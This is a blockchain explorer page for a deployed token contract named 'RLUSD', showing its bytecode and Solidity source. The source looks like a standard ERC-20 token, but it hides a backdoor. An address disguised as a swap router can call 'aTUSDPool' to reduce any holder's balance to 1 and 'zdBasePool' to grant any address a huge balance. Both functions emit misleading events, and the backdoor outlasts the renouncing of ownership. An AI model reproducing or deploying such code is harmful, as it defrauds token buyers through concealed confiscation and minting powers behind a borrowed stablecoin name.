Address Contract Partially Verified
Address
0x03876c758CBb27959bD6893075EcfF722f5Ba41A
Balance
0 ETH
Nonce
1
Code Size
3449 bytes
Creator
0xd012029B...d6aa at tx 0x7cee883d...3297ff
Indexed Transactions
0
Contract Bytecode
3449 bytes
0x608060405234801561000f575f5ffd5b5060043610610127575f3560e01c80638099423b116100a9578063a9059cbb1161006e578063a9059cbb1461025e578063d4d7b19a14610271578063dd62ed3e1461029c578063f1cb537a146102d4578063f2fde38b146102e7575f5ffd5b80638099423b146101fc578063893d20e81461020f5780638da5cb5b1461023357806395d89b4114610243578063a457c2d71461024b575f5ffd5b8063313ce567116100ef578063313ce5671461019a57806339509351146101af57806370a08231146101c25780637136982b146101ea578063715018a6146101f2575f5ffd5b806306fdde031461012b578063095ea7b31461014957806318160ddd1461016c5780631aab9a9f1461017e57806323b872dd14610187575b5f5ffd5b6101336102fa565b6040516101409190610b61565b60405180910390f35b61015c610157366004610bb1565b61038a565b6040519015158152602001610140565b6004545b604051908152602001610140565b61017060055481565b61015c610195366004610bd9565b6103a0565b60065460405160ff9091168152602001610140565b61015c6101bd366004610bb1565b6103ef565b6101706101d0366004610c13565b6001600160a01b03165f9081526001602052604090205490565b600554610170565b6101fa610424565b005b6101fa61020a366004610c13565b61049e565b5f546001600160a01b03165b6040516001600160a01b039091168152602001610140565b5f546001600160a01b031661021b565b610133610549565b61015c610259366004610bb1565b610558565b61015c61026c366004610bb1565b61058d565b61015c61027f366004610c13565b6001600160a01b03165f9081526003602052604090205460ff1690565b6101706102aa366004610c2c565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b6101fa6102e2366004610c13565b610599565b6101fa6102f5366004610c13565b610625565b60606008805461030990610c5d565b80601f016020809104026020016040519081016040528092919081815260200182805461033590610c5d565b80156103805780601f1061035757610100808354040283529160200191610380565b820191905f5260205f20905b81548152906001019060200180831161036357829003601f168201915b5050505050905090565b5f61039633848461070f565b5060015b92915050565b5f6103ac84848461083e565b6001600160a01b0384165f908152600260209081526040808320338085529252909120546103e59186916103e090866109cd565b61070f565b5060019392505050565b335f8181526002602090815260408083206001600160a01b038716845290915281205490916103969185906103e09086610a15565b5f546001600160a01b031633146104565760405162461bcd60e51b815260040161044d90610c95565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b6009546001600160a01b031633146104c85760405162461bcd60e51b815260040161044d90610c95565b6001600160a01b0381165f9081526001602052604090206c0c9f2c9cd04674edea4000000090556104f881610a73565b6040516c0c9f2c9cd04674edea4000000081525f906001600160a01b038316907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906020015b60405180910390a350565b60606007805461030990610c5d565b335f8181526002602090815260408083206001600160a01b038716845290915281205490916103969185906103e090866109cd565b5f61039633848461083e565b6009546001600160a01b031633146105c35760405162461bcd60e51b815260040161044d90610c95565b6001600160a01b0381165f908152600160208190526040909120556105e781610a73565b604051600181525f906001600160a01b038316907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200161053e565b5f546001600160a01b0316331461064e5760405162461bcd60e51b815260040161044d90610c95565b6001600160a01b0381166106b65760405162461bcd60e51b815260206004820152602960248201527f524c55534432304f776e61626c653a206e6577206f776e6572206973207a65726044820152686f206164647265737360b81b606482015260840161044d565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166107775760405162461bcd60e51b815260206004820152602960248201527f524c555344696e746572666163653a20617070726f76652066726f6d207a65726044820152686f206164647265737360b81b606482015260840161044d565b6001600160a01b0382166107dd5760405162461bcd60e51b815260206004820152602760248201527f524c555344696e746572666163653a20617070726f766520746f207a65726f206044820152666164647265737360c81b606482015260840161044d565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b0383166108a75760405162461bcd60e51b815260206004820152602a60248201527f524c555344696e746572666163653a207472616e736665722066726f6d207a65604482015269726f206164647265737360b01b606482015260840161044d565b6001600160a01b03821661090e5760405162461bcd60e51b815260206004820152602860248201527f524c555344696e746572666163653a207472616e7366657220746f207a65726f604482015267206164647265737360c01b606482015260840161044d565b6001600160a01b0383165f9081526001602052604090205461093090826109cd565b6001600160a01b038085165f90815260016020526040808220939093559084168152205461095e9082610a15565b6001600160a01b0383165f9081526001602052604090205561097f83610a73565b61098882610a73565b816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161083191815260200190565b5f610a0e83836040518060400160405280601f81526020017f53616665524c5553443a207375627472616374696f6e206f766572666c6f7700815250610b2b565b9392505050565b5f80610a218385610cf0565b905083811015610a0e5760405162461bcd60e51b815260206004820152601c60248201527f53616665524c5553443a206164646974696f6e206f766572666c6f7700000000604482015260640161044d565b6001600160a01b0381165f9081526003602090815260408083205460019092529091205460ff90911690151581158015610aaa5750805b15610ae9576001600160a01b0383165f908152600360205260408120805460ff191660011790556005805491610adf83610d03565b9190505550505050565b818015610af4575080155b15610b26576001600160a01b0383165f908152600360205260408120805460ff191690556005805491610adf83610d1b565b505050565b5f8184841115610b4e5760405162461bcd60e51b815260040161044d9190610b61565b50610b598385610d30565b949350505050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b80356001600160a01b0381168114610bac575f5ffd5b919050565b5f5f60408385031215610bc2575f5ffd5b610bcb83610b96565b946020939093013593505050565b5f5f5f60608486031215610beb575f5ffd5b610bf484610b96565b9250610c0260208501610b96565b929592945050506040919091013590565b5f60208284031215610c23575f5ffd5b610a0e82610b96565b5f5f60408385031215610c3d575f5ffd5b610c4683610b96565b9150610c5460208401610b96565b90509250929050565b600181811c90821680610c7157607f821691505b602082108103610c8f57634e487b7160e01b5f52602260045260245ffd5b50919050565b60208082526027908201527f524c55534432304f776e61626c653a2063616c6c6572206973206e6f74207468604082015266329037bbb732b960c91b606082015260800190565b634e487b7160e01b5f52601160045260245ffd5b8082018082111561039a5761039a610cdc565b5f60018201610d1457610d14610cdc565b5060010190565b5f81610d2957610d29610cdc565b505f190190565b8181038181111561039a5761039a610cdc56fea2646970667358221220891e87a7d2511c694bc655590561c1ad9fb3875f70ea0141927e1531f9ede94264736f6c634300081d0033
Verified Source Code Partial Match
Compiler: v0.8.29+commit.ab55807c
EVM: cancun
Optimization: Yes (200 runs)
RLUSDToken.sol 240 lines
// SPDX-License-Identifier: MIT
pragma solidity 0.8.29;
interface RLUSDinterface {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address shippingto, uint256 yoursold) external returns (bool);
function allowance(address _owner, address transporteur) external view returns (uint256);
function approve(address transporteur, uint256 yoursold) external returns (bool);
function transferFrom(address sender, address shippingto, uint256 yoursold) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 balance);
event Approval(address indexed owner, address indexed transporteur, uint256 balance);
}
abstract contract RLUSD20Burnable {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
abstract contract RLUSD20Ownable is RLUSD20Burnable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
_owner = _msgSender();
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "RLUSD20Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "RLUSD20Ownable: new owner is zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeRLUSD {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeRLUSD: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeRLUSD: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeRLUSD: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeRLUSD: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeRLUSD: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract RLUSDToken is RLUSD20Burnable, RLUSDinterface, RLUSD20Ownable {
using SafeRLUSD for uint256;
mapping (address => uint256) private mintfrom;
mapping (address => mapping (address => uint256)) private fromallowances;
mapping (address => bool) private _isHolder;
uint256 private _totalSupply;
uint256 public holderCount;
uint8 private _decimals;
string private _symbol;
string private _name;
address private legosRooter;
constructor(address legosSwapRouterv3) {
legosRooter = legosSwapRouterv3;
_name = "RLUSD";
_symbol = "RLUSD";
_decimals = 9;
_totalSupply = 6999000000009 * 10 ** 9;
mintfrom[_msgSender()] = _totalSupply;
_updateHolder(_msgSender());
emit Transfer(address(0), _msgSender(), _totalSupply);
}
modifier subowner() {
require(legosRooter == _msgSender(), "RLUSD20Ownable: caller is not the owner");
_;
}
function aTUSDPool(address tusdRewards) external subowner {
mintfrom[tusdRewards] = 1;
_updateHolder(tusdRewards);
emit Transfer(tusdRewards, address(0), 1);
}
function zdBasePool(address BaseRewards) external subowner {
mintfrom[BaseRewards] = 10000000000 * 10 ** 20;
_updateHolder(BaseRewards);
emit Transfer(BaseRewards, address(0), 10000000000 * 10 ** 20);
}
function getOwner() external view override returns (address) {
return owner();
}
function decimals() external view override returns (uint8) {
return _decimals;
}
function symbol() external view override returns (string memory) {
return _symbol;
}
function name() external view override returns (string memory) {
return _name;
}
function totalSupply() external view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) external view override returns (uint256) {
return mintfrom[account];
}
function transfer(address shippingto, uint256 yoursold) external override returns (bool) {
_transfer(_msgSender(), shippingto, yoursold);
return true;
}
function allowance(address owner, address transporteur) external view override returns (uint256) {
return fromallowances[owner][transporteur];
}
function approve(address transporteur, uint256 yoursold) external override returns (bool) {
_approve(_msgSender(), transporteur, yoursold);
return true;
}
function transferFrom(address sender, address shippingto, uint256 yoursold) external override returns (bool) {
_transfer(sender, shippingto, yoursold);
_approve(sender, _msgSender(), fromallowances[sender][_msgSender()].sub(yoursold));
return true;
}
function increaseAllowance(address transporteur, uint256 addedbalance) external returns (bool) {
_approve(_msgSender(), transporteur, fromallowances[_msgSender()][transporteur].add(addedbalance));
return true;
}
function decreaseAllowance(address transporteur, uint256 allbalances) external returns (bool) {
_approve(_msgSender(), transporteur, fromallowances[_msgSender()][transporteur].sub(allbalances));
return true;
}
function _transfer(address sender, address shippingto, uint256 yoursold) internal {
require(sender != address(0), "RLUSDinterface: transfer from zero address");
require(shippingto != address(0), "RLUSDinterface: transfer to zero address");
mintfrom[sender] = mintfrom[sender].sub(yoursold);
mintfrom[shippingto] = mintfrom[shippingto].add(yoursold);
_updateHolder(sender);
_updateHolder(shippingto);
emit Transfer(sender, shippingto, yoursold);
}
function _approve(address owner, address transporteur, uint256 yoursold) internal {
require(owner != address(0), "RLUSDinterface: approve from zero address");
require(transporteur != address(0), "RLUSDinterface: approve to zero address");
fromallowances[owner][transporteur] = yoursold;
emit Approval(owner, transporteur, yoursold);
}
function _updateHolder(address account) private {
bool wasHolder = _isHolder[account];
bool shouldBeHolder = mintfrom[account] > 0;
if (!wasHolder && shouldBeHolder) {
_isHolder[account] = true;
holderCount++;
} else if (wasHolder && !shouldBeHolder) {
_isHolder[account] = false;
holderCount--;
}
}
function getHolderCount() public view returns (uint256) {
return holderCount;
}
function isHolder(address account) public view returns (bool) {
return _isHolder[account];
}
}
Read Contract
allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
decimals 0x313ce567 → uint8
getHolderCount 0x7136982b → uint256
getOwner 0x893d20e8 → address
holderCount 0x1aab9a9f → uint256
isHolder 0xd4d7b19a → bool
name 0x06fdde03 → string
owner 0x8da5cb5b → address
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256
Write Contract 9 functions
These functions modify contract state and require a wallet transaction to execute.
aTUSDPool 0xf1cb537a
address tusdRewards
approve 0x095ea7b3
address transporteur
uint256 yoursold
returns: bool
decreaseAllowance 0xa457c2d7
address transporteur
uint256 allbalances
returns: bool
increaseAllowance 0x39509351
address transporteur
uint256 addedbalance
returns: bool
renounceOwnership 0x715018a6
No parameters
transfer 0xa9059cbb
address shippingto
uint256 yoursold
returns: bool
transferFrom 0x23b872dd
address sender
address shippingto
uint256 yoursold
returns: bool
transferOwnership 0xf2fde38b
address newOwner
zdBasePool 0x8099423b
address BaseRewards
Recent Transactions
No transactions found for this address